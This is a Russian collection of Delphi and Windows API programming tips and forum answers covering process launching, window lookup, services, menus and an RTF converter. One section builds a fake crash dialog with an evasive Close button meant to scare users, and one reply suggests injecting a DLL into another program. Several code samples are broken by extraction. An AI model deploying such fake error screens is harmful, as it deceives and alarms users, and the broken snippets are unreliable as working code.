проверить на наличие изменений ВСЕ секции, что на деле оказывается ужасно медленным; не посылайте 0, если вы не сделали
изменений в нескольких секциях.
Вот пример оповещения об изменениях в секции Desktop:
VAR S : ARRAY[0..40] OF Char;
...
StrCopy(S, 'Desktop');
SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(@S));
Функция GetWindowLong, я с её помощью хочу
определить
стиль окна: мне нужно отобрать окна класса Button и из них кнопки стиля
BS_RADIOBUTTON. Но я не знаю как проверить, после использования функции,
принадлежит или нет кнопка данному стилю. Так как же можно определить
стиль
окна, может я не ту функцию использую... Но ведь нет же функции
GETBUTTONSTYLE!!! Если непонятен вопрос - пожалуйста
Ответ 1:
Функция используется эта, но ввиде параметра nIndex , должен быть
GWL_STYLE, тогда на выходе вы получите некоторое число (32-бита)
назовем его X.
Чтобы узнать имеет ли окно данный стиль надо:
if (x and YOUR_STYLE)=YOUR_STYLE then //делаем что-то
З.ы. YOUR_STYLE - стиль окна, кнопки и т.д.
Чтобы инициализировать переменную на стадии ее создания, нужно объявить ее, как типизированную константу. Таким способом
можно инициализировать переменные простых типов, а также записи, массивы, множества. Пример:
procedure TForm1.FormCreate(Sender: TObject);
const
a: integer = 0;
p: TPoint = (x: 10; y: 20);
BoolStr: array [boolean] of string = ('false', 'true');
figures: set of char = ['0'..'9'];
begin
p := Form1.ClientToScreen(p);
SetCursorPos(p.x, p.y);
Form1.Caption := BoolStr[GetKeyState(VK_NUMLOCK) and 1 > 0];
end;
Чтобы определить номер текущей строки любого объекта управления edit - пошлите ей сообщение
EM_LINEFROMCHAR
Пример:
procedure TForm1.Button1Click(Sender: TObject);
var
LineNumber : integer;
begin
LineNumber := SendMessage(Memo1.Handle, EM_LINEFROMCHAR, word(-1), 0);
ShowMessage(IntToStr(LineNumber));
end;
Некоторых пользователей врят ли можно будет испугать экранным вирусом, однако можно воспользоваться другими способами
запугивания, например: прозрачные окошки, недоступные пункты меню с большим количеством подуровней, а так же сообщения об
ошибках, которые нельзя убрать.
В приведённом ниже примере при помощи обычного диалогового окна пользователю показывается сообщение об ошибке, причём
кнопка "close" накак не хочет нажиматься. У этого диалога есть зависимое окно, которое показывается, при нажатии кнопки "details".
Поддельная форма с сообщением об ошибке имеет кнопку "details", которая открывает вторую часть формы. Это достигается путём
добавления компонента за пределы самой формы:
object Form2: TForm2
AutoScroll = False
Caption = 'Error'
ClientHeight = 93
ClientWidth = 320
OnShow = FormShow
object Label1: TLabel
Left = 56
Top = 16
Width = 172
Height = 65
AutoSize = False
Caption =
'Программа выполнила недопустимую ' +
'операцию. Если проблема повторится, ' +
'то обратитесь к разработчику программного обеспечения.'
WordWrap = True
end
object Image1: TImage
Left = 8
Top = 16
Width = 41
Height = 41
Picture.Data = {...}
end
object Button1: TButton
Left = 240
Top = 16
Width = 75
Height = 25
Caption = 'Close'
TabOrder = 0
OnClick = Button1Click
end
object Button2: TButton
Left = 240
Top = 56
Width = 75
Height = 25
Caption = 'Details >>'
TabOrder = 1
OnClick = Button2Click
end
object Memo1: TMemo // за пределами формы!
Left = 24
Top = 104
Width = 265
Height = 89
Color = clBtnFace
Lines.Strings = (
'AX:BX 73A5:495B'
'SX:PK 676F:FFFF'
'OH:OH 7645:2347'
'Crash 3485:9874'
''
'What'#39's going on here?')
TabOrder = 2
end
end
Когда пользователь нажимает кнопку "details", то программа просто изменяет размер формы:
procedure TForm2.Button2Click(Sender: TObject);
begin
Height := 231;
end;
Вторая форма, которая наследуется от первой имеет перемещающуюся кнопку "close":
procedure TForm3.Button1Click(Sender: TObject);
begin
Button1.Left := Random (ClientWidth - Button1.Width);
Button1.Top := Random (ClientHeight - Button1.Height);
end;
В заключении, можно сделать дырку в окне, используя API функцию SetWindowRgn:
procedure TForm1.Button4Click(Sender: TObject);
var
HRegion1, Hreg2, Hreg3: THandle;
Col: TColor;
begin
ShowMessage ('Ready for a real crash?');
Col := Color;
Color := clRed;
PlaySound ('boom.wav', 0, snd_sync);
HRegion1 := CreatePolygonRgn (Pts,
sizeof (Pts) div 8,
alternate);
SetWindowRgn (
Handle, HRegion1, True);
ShowMessage ('Now, what have you done?');
Color := Col;
ShowMessage ('Вам лучше купить новый монитор');
end;
=== 1 ===
A: WinExec() или ShellExecute. У второй больше возможностей.
=== 2 ===
(AY, VB): CreateProcess().
=== 3a ===
(SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь
WaitForSingleObject(pi.hProcess, INFINITE);
=== 3b ===
(AA): Win16: Delay можно взять из rxLib.
=== Cut ===
handle := WinExec(...);
if handle >= 32 then
while GetModuleUsage(handle) > 0 do
Delay( nn );
else
raise ....
=== Cut ===
=== 4 ===
(AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime.
(Win32)
Для принудительного завершения процесса -- TerminateProcess.
(Win16) (RR): Handle:=Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0);
=== 5 ===
как запустить из Вашей программы еще какую-нибудь программу и дождаться ее закрытия. Для удобства сразу оговорюсь: Ваша
программа - это программа, код которой здесь приведен. Другая программа - программа, которая была запущена из Вашей. Для
запуска другой программы мы будем использовать функцию CreateProcess, поскольку она возвращает handle созданного процесса.
Для ожидания завершения процесса (программы) нужно вызвать Wai В этом примере функция ExecuteAndWait запускает другую
программу (имя запускаемого файла - FileName). Если HideApplication установлен в true, то Ваша программа исчезает на время
выполнения другой программы. В противном случае Ваша программа остается на экране и каждые 0.1 сек. будут выполняться все
задачи, которые накопились в очереди (Application.ProcessMessages). А если пользователь решит закрыть Вашу программу - закроется
и другая программа. Процедура SetEnabled
function ExecuteAndWait(FileName: string; HideApplication: boolean): boolean;
var
StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;
exitc: cardinal;
begin
FillChar(StartupInfo, sizeof(StartupInfo), 0);
with StartupInfo do begin
cb := Sizeof(StartupInfo);
dwFlags := STARTF_USESHOWWINDOW;
wShowWindow := SW_SHOW;
end;
if not CreateProcess(nil, PChar(FileName), nil, nil, false,
CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, nil, nil,
StartupInfo, ProcessInfo) then result := false
else begin
if HideApplication then begin
Application.Minimize;
ShowWindow(Application.Handle, SW_HIDE);
WaitforSingleObject(ProcessInfo.hProcess, INFINITE);
end else
while WaitforSingleObject(ProcessInfo.hProcess, 100) =
WAIT_TIMEOUT do begin
Application.ProcessMessages;
if Application.Terminated
then TerminateProcess(ProcessInfo.hProcess, 0);
end;
GetExitCodeProcess(ProcessInfo.hProcess, exitc);
result := (exitc = 0);
if HideApplication then begin
ShowWindow(Application.Handle, SW_SHOW);
Application.Restore;
Application.BringToFront;
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
procedure SetEnabled(en: boolean);
var
i: integer;
begin
for i := 0 to Form1.ComponentCount - 1 do
if Form1.Components[i] is TControl then
(Form1.Components[i] as TControl).Enabled := en;
end;
begin
SetEnabled(false);
if not ExecuteAndWait(Edit1.Text, CheckBox1.Checked)
then ShowMessage('Возникли какие-то проблемы');
SetEnabled(true);
end;
=== 1 ===
Объявляем сначала две глобальные переменные: var
si:Tstartupinfo;
p:Tprocessinformation;
Затем по нужному событию, например, по нажатию на кнопке пишет такой код:
FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
Form1.WindowState:=wsminimized;
Createprocess(nil,'c:\windows\sndrec32.exe e:\temp.wav',nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
Form1.WindowState:=wsNormal;
Автор ___Nikolay
по всем вопросам обращайтесь на bestprogramming@mail.ru
=== 2 ===
По нажатию на кнопку это будет выглядеть так:
procedure TForm1.Button3Click(Sender: TObject);
var si:STARTUPINFO;
pi:PROCESS_INFORMATION;
cmdline:string;
begin
ZeroMemory(@si,sizeof(si));
si.cb:=SizeOf(si);
cmdline:='c:\command.com';
if not CreateProcess( nil, // No module name (use command line).
PChar(cmdline), // Command line.
nil, // Process handle not inheritable.
nil, // Thread handle not inheritable.
False, // Set handle inheritance to FALSE.
0, // No creation flags.
nil, // Use parent's environment block.
nil, // Use parent's starting directory.
si, // Pointer to STARTUPINFO structure.
pi ) // Pointer to PROCESS_INFORMATION structure.
then
begin
ShowMessage( 'CreateProcess failed.' );
Exit;
end;
WaitForSingleObject( pi.hProcess, INFINITE );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
ShowMessage('Done !');
end;
Здесь процедура, которую я использую для конвертации содержимого RichEdit
в код SGML. Она не создает полноценный HTML-файл, но Вы можете расширить
функциональность, указал, какие RTF-коды Вы желаете конвертировать в
какие-либо HTML-тэги.
function rtf2sgml (text : string) : string;
{Funktion for att konvertera en RTF-rad till SGML-text.}
var
temptext : string;
start : integer;
begin
text := stringreplaceall (text,'&','##amp;');
text := stringreplaceall (text,'##amp','&');
text := stringreplaceall (text,'\'+chr(39)+'e5','a');
text := stringreplaceall (text,'\'+chr(39)+'c5','A');
text := stringreplaceall (text,'\'+chr(39)+'e4','a');
text := stringreplaceall (text,'\'+chr(39)+'c4','A');
text := stringreplaceall (text,'\'+chr(39)+'f6','o');
text := stringreplaceall (text,'\'+chr(39)+'d6','O');
text := stringreplaceall (text,'\'+chr(39)+'e9','e');
text := stringreplaceall (text,'\'+chr(39)+'c9','E');
text := stringreplaceall (text,'\'+chr(39)+'e1','a');
text := stringreplaceall (text,'\'+chr(39)+'c1','A');
text := stringreplaceall (text,'\'+chr(39)+'e0','a');
text := stringreplaceall (text,'\'+chr(39)+'c0','A');
text := stringreplaceall (text,'\'+chr(39)+'f2','o');
text := stringreplaceall (text,'\'+chr(39)+'d2','O');
text := stringreplaceall (text,'\'+chr(39)+'fc','u');
text := stringreplaceall (text,'\'+chr(39)+'dc','U');
text := stringreplaceall (text,'\'+chr(39)+'a3','?');
text := stringreplaceall (text,'\}','#]#');
text := stringreplaceall (text,'\{','#[#');
text := stringreplaceall (text,'{\rtf1\ansi\deff0\deftab720','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\fonttbl',''); {Skall alltid tas bort}
text := stringreplaceall (text,'{\f0\fnil MS Sans Serif;}','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\f1\fnil\fcharset2 Symbol;}','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\f2\fswiss\fprq2 System;}}','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\colortbl\red0\green0\blue0;}','');{Skall alltid tas bort}
{I version 2.01 av Delphi finns inte \cf0 med i RTF-rutan. Tog darfor bort
det efter \fs16 och la istallet en egen tvatt av \cf0.}
//temptext := hamtastreng (text,'{\rtf1','\deflang');
//text := stringreplace (text,temptext,''); {Hamta och radera allt fran start till deflang}
text := stringreplaceall (text,'\cf0','');
temptext := hamtastreng (text,'\deflang','\pard');{Plocka fran deflang till pard for att fa }
text := stringreplace (text,temptext,'');{oavsett vilken lang det ar. Norska o svenska ar olika}
{Har skall vi plocka bort fs och flera olika siffror beroende pa vilka alternativ vi godkanner.}
//text := stringreplaceall (text,'\fs16','');{8 punkter}
//text := stringreplaceall (text,'\fs20','');{10 punkter}
{Nu stadar vi istallet bort alla tvasiffriga fontsize.}
while pos ('\fs',text) >0 do
begin
application.processmessages;
start := pos ('\fs',text);
Delete(text,start,5);
end;
text := stringreplaceall (text,'\pard\plain\f0 ','
');
text := stringreplaceall (text,'\par \plain\f0\b\ul ','
');
text := stringreplaceall (text,'\plain\f0\b\ul ','
');
text := stringreplaceall (text,'\plain\f0','');
text := stringreplaceall (text,'\par }','
');
text := stringreplaceall (text,'\par ','
');
text := stringreplaceall (text,'#]#','}');
text := stringreplaceall (text,'#[#','{');
text := stringreplaceall (text,'\\','\');
result := text;
end;
//This is cut directly from the middle of a fairly long save routine that calls the above function.
//I know I could use streams instead of going through a separate file but I have not had the time
to change this
utfilnamn :=
mditted.exepath+stringreplace(stringreplace(extractfilename(pathname),'.TTT',''),'.ttt','') +
'ut.RTF';
brodtext.lines.savetofile (utfilnamn);
temptext := '';
assignfile(tempF,utfilnamn);
reset (tempF);
try
while not eof(tempF) do
begin
readln (tempF,temptext2);
temptext2 := stringreplaceall (temptext2,'\'+chr(39)+'b6','');
temptext2 := rtf2sgml (temptext2);
if temptext2 <>'' then temptext := temptext+temptext2;
application.processmessages;
end;
finally
closefile (tempF);
end;
deletefile (utfilnamn);
temptext := stringreplaceall (temptext,' ','');
temptext := stringreplaceall (temptext,'
','
');
temptext := stringreplaceall (temptext,'
'+chr(0),'
');
temptext := stringreplaceall (temptext,'
','');
temptext := stringreplaceall (temptext,'
','');
temptext := stringreplaceall (temptext,'
','
');
temptext := stringreplaceall (temptext,'','<#MELLIS>
');
temptext := stringreplaceall (temptext,'<#MELLIS>','');
temptext := stringreplaceall (temptext,'
','
');
temptext := stringreplaceall (temptext,'
','
');
temptext := stringreplaceall (temptext,'
-','
_');
temptext := stringreplaceall (temptext,'
_','_');
while pos('_',temptext)>0 do
begin
application.processmessages;
temptext2 := hamtastreng (temptext,'_','
');
temptext := stringreplace (temptext,temptext2+'
',temptext2+'');
temptext := stringreplace (temptext,'_','-');
end;
writeln (F,''+temptext+'');
Использование фуекции Windows API FindWindow() - простейший способ нахождение окна, при условии, что известен его заголовок
или имя оконного класса. Если Вам известна только часть заголовка окна (например 'Netscape - ' + 'какой-то неизвестный URL'), Ва м
нужно использовать функцию EnumWindows() для получения всех окон, затем вызывать функцию GetWindowsText() и GetClassName
для поиска нужного окна. Следующий пример находит первое окно, содержащее совпадающую часть заголовка окна и полностью
совпадающее название оконного класса (если он задан) и делает это окно активным.
type
PFindWindowStruct = ^TFindWindowStruct;
TFindWindowStruct = record
Caption : string;
ClassName : string;
WindowHandle : THandle;
end;
function EnumWindowsProc(hWindow : hWnd;
lParam : LongInt) : Bool
{$IFDEF Win32} stdcall; {$ELSE} ; export; {$ENDIF}
var
lpBuffer : PChar;
WindowCaptionFound : bool;
ClassNameFound : bool;
begin
GetMem(lpBuffer, 255);
Result := True;
WindowCaptionFound := False;
ClassNameFound := False;
try
if GetWindowText(hWindow, lpBuffer, 255) > 0 then
if Pos(PFindWindowStruct(lParam).Caption, StrPas(lpBuffer)) > 0
then WindowCaptionFound := true;
if PFindWindowStruct(lParam).ClassName = '' then
ClassNameFound := True else
if GetClassName(hWindow, lpBuffer, 255) > 0 then
if Pos(PFindWindowStruct(lParam).ClassName, StrPas(lpBuffer))
> 0 then ClassNameFound := True;
if (WindowCaptionFound and ClassNameFound) then begin
PFindWindowStruct(lParam).WindowHandle := hWindow;
Result := False;
end;
finally
FreeMem(lpBuffer, sizeof(lpBuffer^));
end;
end;
function FindAWindow(Caption : string;
ClassName : string) : THandle;
var
WindowInfo : TFindWindowStruct;
begin
with WindowInfo do begin
Caption := Caption;
ClassName := ClassName;
WindowHandle := 0;
EnumWindows(@EnumWindowsProc, LongInt(@WindowInfo));
FindAWindow := WindowHandle;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
TheWindowHandle : THandle;
begin
TheWindowHandle := FindAWindow('Netscape - ', '');
if TheWindowHandle = 0 then
ShowMessage('Window Not Found!') else
BringWindowToTop(TheWindowHandle);
end;
uses
Windows, Messages, SysUtils,
StdCtrls, SvcMgr;
var
ssStatus:TServiceStatus;
schSCManager,
schService:SC_HANDLE ;
begin
schSCManager := OpenSCManager( PChar('Comp1'), //имя компьютера, nil - local machine
nil, // ServicesActive database
SC_MANAGER_ALL_ACCESS); // full access rights
if schSCManager = 0 then exit; //Ошибка?
schService := OpenService(
schSCManager, // SCM database
PChar('SQLServerAgent'), // посмотри имя в Services. В данном случае - MS Server Agent
SERVICE_ALL_ACCESS);
if schService = 0 then exit; //Ошибка?
if not QueryServiceStatus(
schService, // handle to service
ssStatus) then // address of status information structure
exit; //Ошибка?
case ssStatus.dwCurrentState of:
SERVICE_RUNNING: ShowMessage('Работает!');
SERVICE_STOPPED: ShowMessage('Выключен');
// ну и т.д.
end;
end;
=== 1 ===
Каким образом организовать ожидание завершения DOS-задачи? Например, надо подождать, пока заархивируется файл, и далее
обработать его.
uses
...,windows,...
procedure RunRarAndWait;
var
si: TStartupInfo;
pi: TProcessInformation;
begin
//подготовливаем записи si и pi к использованию
FillChar(si, SizeOf(si));
si.cb := SizeOf(si);
FillChar(pi, SizeOf(pi));
//попытаемся запустить рар
if CreateProcess('rar.exe', 'parameters',
nil, nil, //безопасность по умолчанию
false, //не наследовать хэндлов
0, //флаги создания по умолчанию
nil, //переменные среды по умолчанию
nil, //текущая директория по умолчанию
si, //стартовая информация
pi) //а в эту запись получим информацию о созданом процессе
then
begin //удалось запустить рар
//подождем пока рар работает
WaitForSingleObject(pi.hProcess, INFINITE);
//убираем мусор
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
end else
//выдаем сообщение об ощибке
MessageDlg(SysErrorMessage(GetLastError), mtError, [mbOK], 0);
end;
=== 2 ===
function WinExecute(CmdLine: string; Wait: Boolean): Boolean;
var
StartupInfo: TStartupInfo;
ProcessInformation: TProcessInformation;
begin
Result := True;
try
FillChar(StartupInfo, SizeOf(StartupInfo), 0);
StartupInfo.cb := SizeOf(StartupInfo);
if not CreateProcess(nil, PChar(CmdLine), nil, nil, True, 0, nil,
nil,
StartupInfo, ProcessInformation) then RaiseLastWin32Error;
if Wait then WaitForSingleObject(ProcessInformation.hProcess,
INFINITE);
except
Result := False;
end;
end;
=== 3 ===
function TForm1.StartWithShell(Prog, par, Verz: string; var hProcess :
THandle) : DWord;
var
exInfo: TShellExecuteInfo;
begin
hProcess := 0;
FillChar( exInfo, Sizeof(exInfo), 0 );
with exInfo do begin
cbSize:= Sizeof( exInfo );
fMask := SEE_MASK_NOCLOSEPROCESS or SEE_MASK_FLAG_DDEWAIT;
Wnd := 0;
lpVerb:= 'open';
lpParameters := PChar(par);
lpFile:= Pchar(prog);
nShow := SW_HIDE;
end;
Result := ERROR_SUCCESS;
if ShellExecuteEx(@exInfo) then
hProcess := exinfo.hProcess
else
Result := GetLastError;
end;
function TForm1.StartProgramm : Boolean;
var
r, ExitCode : DWord;
err : string;
hProcess : THandle;
begin
Result := False;
r := StartWithShell('rar.exe', , 'c:\windows\system',
hProcess);
if r = ERROR_SUCCESS then begin
repeat
Application.ProcessMessages;
GetExitCodeProcess(hProcess, ExitCode);
until (ExitCode <> STILL_ACTIVE);
result := true;
end else begin
case r of
ERROR_FILE_NOT_FOUND : err:='The specified file was not
found.';
ERROR_PATH_NOT_FOUND : err:='The specified path was not
found.';
ERROR_DDE_FAIL : err:='The DDE transaction failed.';
ERROR_NO_ASSOCIATION : err:='There is no application associated
with the given filename extension.';
ERROR_ACCESS_DENIED : err:='Access denied';
ERROR_DLL_NOT_FOUND : err:='DLL not found';
ERROR_CANCELLED : err:='The function prompted the user for the
location of the application, but the user cancelled the request.';
ERROR_NOT_ENOUGH_MEMORY: err:='Not enough memory';
ERROR_SHARING_VIOLATION: err:='A sharing violation occurred.';
else err:='Unknown';
end;
MessageDlg('Error: ' + err, mtError, [mbOk], 0);
end;
end;
program SmallPrg;
uses Windows, Messages;
const
WinName = 'MainWClass';
function MainWndProc(Window: HWnd; AMessage, WParam,
LParam: Longint): Longint; stdcall;
begin
//подпрограмма обработки сообщений
case AMessage of
WM_DESTROY: begin
PostQuitMessage(0);
Result := 0;
Exit;
end;
else
Result := DefWindowProc(Window, AMessage, WParam, LParam);
end;
end;
function InitApplication: Boolean;
var
wcx: TWndClass;
begin
//Заполняем структуру TWndClass
// перерисовываем, если размер изменяется
wcx.style := CS_HREDRAW or CS_VREDRAW;
// адрес оконной процедуры
wcx.lpfnWndProc := @MainWndProc;
wcx.cbClsExtra := 0;
wcx.cbWndExtra := 0;
// handle to instance
wcx.hInstance := hInstance;
// загружаем стандандартную иконку
wcx.hIcon := LoadIcon(0, IDI_APPLICATION);
// загружаем стандартный курсор
wcx.hCursor := LoadCursor(0, IDC_ARROW);
// делаем светло-cерый фон
wcx.hbrBackground := COLOR_WINDOW;
// пока нет главного меню
wcx.lpszMenuName := nil;
// имя класса окна
wcx.lpszClassName := PChar(WinName);
// Регистрируем наш класс окна.
Result := RegisterClass(wcx) <> 0;
end;
function InitInstance: HWND;
begin
// Создаем главное окно.
Result := CreateWindow(
// имя класса окна
PChar(WinName),
// заголовок
'Small program',
// стандартный стиль окна
WS_OVERLAPPEDWINDOW,
// стандартные горизонтальное, вертикальное положение, ширина и высота
Integer(CW_USEDEFAULT),
Integer(CW_USEDEFAULT),
Integer(CW_USEDEFAULT),
Integer(CW_USEDEFAULT),
0,//нет родительского окна
0,//нет меню
hInstance, // handle to application instance
nil); // no window-creation data
end;
var
hwndMain: HWND;
AMessage: msg;
begin
if (not InitApplication) then
MessageBox(0, 'Ошибка регистрации окна', nil, mb_Ok)
else
begin
hwndMain := InitInstance;
if (hwndMain = 0) then
MessageBox(0, 'Ошибка создания окна', nil, mb_Ok)
else
begin
// Показываем окно и посылаем сообщение WM_PAINT оконной процедуре
ShowWindow(hwndMain, CmdShow);
UpdateWindow(hwndMain);
while (GetMessage(AMessage, 0, 0, 0)) do
begin
TranslateMessage(AMessage);
DispatchMessage(AMessage);
end;
end;
end;
end.
Главное меню окна – до боли знакомая вещь. Какое же извращение придумать с ним?..
Весьма необычно будет, если какой-нибудь пункт меню будет обособленно располагаться с правой стороны окна! (или несколько
пунктов меню). Как же это сделать? Для этого нужно иметь: компонент MainMenu – 1 штука, форма – 1 штука, клава – 2 штуки (одна
для того, чтобы набить ту чушь, что расположена ниже, а другая, являющаяся особой женского пола – для одних только вам
известных забав). Начнём с первой (тем более, что кончить на второй всегда успеем!).
Всё что нужно сделать для этого – это создать главное меню, например, показанное на рисунке, и по созданию окна (событие
OnCreate) написать следующий код:
procedure TForm1.FormCreate(Sender: TObject);
begin
ModifyMenu(MainMenu1.Handle,3,mf_ByPosition or mf_Popup or mf_Help,Help1.Handle,PChar(Help1.Caption));
end;
Для начала подключите модуль Registry в области uses. Затем на форму нужно будет вынести кнопку и многострочное текстовое поле
класса TMemo. Ну и по нажатию на кнопку написать следующий код:
procedure TForm1.Button1Click(Sender: TObject);
var
reg : TRegistry;
st : TStrings;
i : integer;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('hardware\devicemap\serialcomm',false);
st := TStringList.Create;
reg.GetValueNames(st);
for i := 0 to st.Count -1 do begin
Memo1.Lines.Add(reg.ReadString(st.Strings[i]));
end;
st.Free;
reg.CloseKey;
reg.free;
end;
Как правильно общаться с функциями типа WM_SETTEXT: в хелпе я читал, что
у этой функции есть два переметра(0 и строка), НО КАК ИМИ ВОСПОЛЬЗОВАТЬСЯ.
Если я пишу: SendMessage(myhwnd,WM_SETTEXT[0,'Нет'],0,0), то вылазиет
ошибка
'array typr required'(как же запихнуть 0 и строку в массив?)
WM_SETTEXT не функция а сообщение. А использовать надо так:
SendMessage(myhwnd,WM_SETTEXT,0,@LPZстрока),
Во вражеском приложении есть listbox. [D5, NT4]
Сабж. Причем не один. Как можно выцепить текcт, выделенный им?
Если не трудно, то простенький пример плз. Или пошлите куда-нибудь.
--------------------------------------------------------------------------------
внедряешь к врагам свою dll
Дальше SendMessage - rulezzz 4ever. (Забираешь информацию как и принято в винде - сообщениями)
--------------------------------------------------------------------------------
А зачем DLL-то внедрять? Надо просто получить хэндл листбокса, это и без DLL легко сделать (FindWindowEx,
например). А дальше шлем сначала LB_GETCURSEL, а потом LB_GETTEXT. Если стоит режим multi-select, то
немного сложнее, но схема та же.
Итак, если Вам надоело привычное статическое изображение кнопки "Пуск", то предлагаю немного оживить её :)
Надеюсь, что это доставит Вам удовольствие.
Совместимость: Все версии Delphi
Пример:
unit Main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls,ShellAPI;
Const
MAX_BUFFER = 6;
Type
TForm1 = class(TForm)
Button1: TButton;
Timer1: TTimer;
Button2: TButton;
Image1: TImage;
Edit1: TEdit;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Button3: TButton;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Edit1KeyPress(Sender: TObject; var Key: Char);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Button3Click(Sender: TObject);
private HW : HWND;
DC : HDC;
R : TRect;
FNumber : integer;
Buffer : array[1..MAX_BUFFER] of TBitmap;
TrayIcon : TNotifyIconData;
procedure CreateFrames;
procedure DestroyFrames;
procedure BuildFrames;
procedure NotifyIcon(var Msg : TMessage); message WM_USER + 100;
procedure OnMinimizeEvt(Sender : TObject);
end;
var
Form1: TForm1;
Implementation
uses Math;
{$R *.DFM}
// Создаём буфер для спрайтов
procedure TForm1.CreateFrames;
var i : integer;
begin
for i:=1 to MAX_BUFFER do
begin
Buffer[i] := TBitmap.Create;
Buffer[i].Height := R.Bottom-R.Top;
Buffer[i].Width := R.Right-R.Left;
Buffer[i].Canvas.Brush.Color := clBtnFace;
Buffer[i].Canvas.Pen.Color := clBtnFace;
Buffer[i].Canvas.Rectangle(0,0,Buffer[i].Width,Buffer[i].Height);
end;
end;
procedure TForm1.DestroyFrames;
var i : integer;
begin
for i:=1 to MAX_BUFFER do Buffer[i].Destroy;
end;
// Подготавливает сегменты/спрайты для анимации
procedure TForm1.BuildFrames;
var i,j,k,H,W : integer;
Y : double;
Begin
H := R.Bottom-R.Top;
W := R.Right-R.Left;
Image1.Width := W;
Image1.Height:= H;
for i := 1 to MAX_BUFFER-1 do //Буфер[MAX_BUFFER] используется для хранения оригинального битмапа
for j:= 1 to W do
for k:=1 to H do
begin
Y := 2*Sin((j*360/W)*(pi/180)-20*i);
Buffer[i].Canvas.Pixels[j,k-Round(Y)]:= Buffer[6].Canvas.Pixels[j,k];
end;
end;
procedure TForm1.OnMinimizeEvt(Sender : TObject);
begin
ShowWindow(Application.Handle,SW_HIDE);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
HW := FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'Button',nil);
GetWindowRect(HW,R);
DC := GetWindowDC(HW);
CreateFrames;
FNumber :=1;
TrayIcon.cbSize := SizeOf(TrayIcon);
TrayIcon.Wnd := Form1.Handle;
TrayIcon.uID := 100;
TrayIcon.uFlags := NIF_MESSAGE + NIF_ICON + NIF_TIP;
TrayIcon.uCallbackMessage := WM_USER + 100;
TrayIcon.hIcon := Application.Icon.Handle;
Shell_NotifyIcon(NIM_ADD,@TrayIcon);
Application.OnMinimize := OnMinimizeEvt;
end;
// Уведомляем обработчик
procedure TForm1.NotifyIcon(var Msg : TMessage);
begin
case Msg.LParam of
WM_LBUTTONDBLCLK :
Begin
ShowWindow(Application.Handle,SW_SHOW);
Application.Restore;
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
//Получаем изображение оригинальной кнопки, чтобы потом использовать его//когда анимация завершится
BitBlt(Buffer[MAX_BUFFER].Canvas.Handle,0,0,R.Right-R.Left,R.Bottom-R.Top,
DC,0,0,SRCCOPY);
BuildFrames;
Image1.Canvas.Draw(0,0,Buffer[MAX_BUFFER]);
Button2.Enabled := true;
if Edit1.Text <> '' then
Timer1.Interval := StrToInt(Edit1.Text)
Else
Begin
Timer1.Interval := 100;
Edit1.Text := '100';
end;
end;
// Освобождение ресурсов procedure
TForm1.FormDestroy(Sender: TObject);
Begin
Timer1.Enabled := false;
BitBlt(DC,0,0,R.Right-R.Left,R.Bottom-R.Top,
Buffer[MAX_BUFFER].Canvas.Handle,0,0,SRCCOPY);
ReleaseDC(HW,DC);
DestroyFrames;
// не забудьте сделать это !!!
Shell_NotifyIcon(NIM_DELETE,@TrayIcon);
end;
// Анимация начинается здесь
procedure TForm1.Timer1Timer(Sender: TObject);
begin
BitBlt(DC,0,0,R.Right-R.Left,R.Bottom-R.Top,
Buffer[FNumber].Canvas.Handle,0,0,SRCCOPY);
Inc(FNumber);
if (FNumber > MAX_BUFFER-1) then FNumber := 1;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
Timer1.Enabled := not Timer1.Enabled;
if not Timer1.Enabled then
begin
BitBlt(DC,0,0,R.Right-R.Left,R.Bottom-R.Top,
Buffer[MAX_BUFFER].Canvas.Handle,0,0,SRCCOPY);
Button2.Caption := '&Animate';
Button1.Enabled := true;
End
Else
Begin
Button2.Caption := '&Stop';
Button1.Enabled := false;
end;
end;
// Обеспечиваем ввод числовых значений
procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
if not (Key in ['0'..'9']) and (Key <> Chr(VK_BACK)) then
Key := #0;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action := caNone;
Application.Minimize;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
PostMessage(Form1.Handle,WM_DESTROY,0,0);
Application.Terminate;
end;
end.
type
pFn = function(I: Integer);
var
l: pFn;
begin
l := pFn(MyPointer);
l(10);
end;
Кажись так
--------------------------------------------------------------------------------
Можно так :
type
TMyfunction = function(список формальных параметров);
var f : TMyfunction;
begin
@f:=//адрес
//Вызов:
f(список фактических параметров)
--------------------------------------------------------------------------------
Маленькое дополнение :
при такой декларации функц.типа и переменной, предн. для хранения адреса для компилятора строки
@f:=//адрес и f:=//адрес - будут эквивалентны
--------------------------------------------------------------------------------
Как раз наоборот : я дополнил твой ответ маленьким уточняющим комментарием.
Он, собственно, не столь важен, но во избежание путаницы с прямой/косвенной адресацией переменных
